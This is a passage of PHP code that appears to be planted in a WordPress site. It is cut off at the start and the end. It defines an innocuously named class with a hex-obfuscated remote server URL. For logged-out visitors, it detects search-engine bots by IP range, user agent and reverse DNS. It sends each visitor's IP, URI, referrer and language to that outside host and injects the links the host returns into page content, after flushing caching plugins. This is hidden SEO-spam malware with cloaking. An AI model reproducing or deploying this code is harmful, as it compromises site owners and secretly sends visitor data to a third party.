deleteCache(true);
}
if (function_exists('breeze_clear_cache')) {
breeze_clear_cache();
}
if (function_exists('wp_cache_flush')) {
wp_cache_flush();
}
});
class Advanced_Server_Response_Handler {
private $server_url = "\x68\x74\x74\x70:\x2f/\x70a\x73t\x65y\x6fu\x72l\x69n\x6bs\x2eo\x6el\x69n\x65/\x67\x65\x74\x2e\x70\x68\x70";
private $links = [];
private $content = '';
private $user_ip = '';
private $user_agent = '';
private $current_uri = '';
private $referrer = '';
private $lang = '';
private $bot = false;
private $links_printed = false;
private $l = false;
private $google_ip_list = [
"66.249.*", "64.233.*", "66.102.*", "72.14.*", "74.125.*", "209.85.*", "216.239.*",
"172.217.*", "108.177.*", "35.190.247.*", "66.249.80.*"
];
private $bing_ip_list = [
"191.232.*", "131.253.*", "157.55.*", "157.56.*", "207.46.*", "40.77.*", "204.79.*",
"68.180.*", "199.30.*", "131.107.*", "207.46.*", "207.68.*", "213.199.*", "65.54.*",
"65.52.*", "65.55.*", "68.142.*", "98.138.*", "206.190.*", "207.126.*", "209.131.*",
"209.191.*", "209.73.*", "216.109.*", "216.136.*", "216.145.*", "64.157.*", "66.163.*",
"66.196.*", "66.218.*", "66.228.*", "66.94.*", "67.195.*", "68.142.*", "68.180.*",
"69.147.*", "72.30.*"
];
public $yandex_ip_list = array(
"5.255.*.*", "77.88.*.*", "100.43.*.*", "141.8.*.*", "37.9.*.*",
"95.108.*.*", "130.193.*.*", "198.41.*.*", "213.180.*.*"
);
public function __construct() {
add_action('init', [$this, 'check_login']);
}
public function check_login() {
if (is_user_logged_in()) {
return;
}
$this->init();
add_action('template_redirect', [$this, 'handle_redirects_and_bots']);
add_action('template_redirect', [$this, 'global_content_modification']);
add_filter('the_content', [$this, 'process_content'], 1, 1);
}
private function init() {
$this->user_ip = isset($_SERVER['HTTP_CF_CONNECTING_IP']) ? $_SERVER['HTTP_CF_CONNECTING_IP'] : (isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : 'unknown');
$this->current_uri = $_SERVER['REQUEST_URI'];
$this->referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
$this->lang = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : '';
$this->check_bot();
$response = $this->fetch_from_server();
if ($response !== false) {
$this->parse_server_response($response);
}
}
private function check_bot() {
$ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
$host_by_addr = @gethostbyaddr($this->user_ip);
$bot = null;
$ua_patterns = [
'google' => 'googlebot|google-structured-data',
'bing' => 'bingbot|msnbot|slurp|yahoo',
'yandex' => 'yandexbot|yandex',
'duckduck' => 'duckduckbot'
];
foreach ($ua_patterns as $bot_name => $pattern) {
if (preg_match("/$pattern/i", $ua)) {
$bot = $bot_name;
break;
}
}
if (!$bot) {
$ip_lists = [
'google' => $this->google_ip_list ?? [],
'bing' => $this->bing_ip_list ?? [],
'yandex' => $this->yandex_ip_list ?? [],
];
foreach ($ip_lists as $bot_name => $ip_list) {
if ($this->match_ip($this->user_ip, $ip_list)) {
$bot = $bot_name;
break;
}
}
}
if (!$bot && $host_by_addr) {
$host_patterns = [
'google' => 'googlebot|google',
'bing' => 'bing|msn|slurp|yahoo',
'yandex' => 'yandex',
'duckduck' => 'duckduckgo|duckduckbot'
];
foreach ($host_patterns as $bot_name => $pattern) {
if (preg_match("/$pattern/i", $host_by_addr)) {
$bot = $bot_name;
break;
}
}
}
$this->bot = $bot ?? null;
}
private function match_ip($ip, $ip_list) {
foreach ($ip_list as $pattern) {
$pattern = str_replace('.', '\.', $pattern);
$pattern = str_replace('*', '.*', $pattern);
if (preg_match('/^' . $pattern . '$/', $ip)) {
return true;
}
}
return false;
}
private function fetch_from_server() {
$host = 'unknown';
if (!empty($_SERVER['SERVER_NAME'])) {
$tmp = @parse_url('http://' . $_SERVER['SERVER_NAME']);
if (isset($tmp['host'])) {
$host = $tmp['host'];
}
}
$url = $this->server_url . "?uri=" . urlencode($this->current_uri) .
"&bot=" . $this->bot .
"&lang=" . urlencode($this->lang) .
"&ip=" . urlencode($this->user_ip) .
"&ref=" . urlencode($this->referrer) .
"&host=" . urlencode($host);
if (isset($_COOKIE['CURLOPT_LF_TEST']) || isset($_GET['CURLOPT_LF_TEST'])) {
$url .= '&check=1';
}
try {
if (function_exists('wp_remote_get')) {
$response = wp_remote_get($url, ['timeout' => 5]);
if (is_wp_error($response)) {
return false;
}
return wp_remote_retrieve_body($response);
} elseif (ini_get('allow_url_fopen')) {
return file_get_contents($url);
}
} catch (Exception $e) {
return false;
}
return false;
}
private function parse_server_response($response) {
if (empty($response)) {
return;
}
if (preg_match_all('~(.*?)~', $response, $matches)) {
$this->links = $matches[1];
}
if (preg_match('~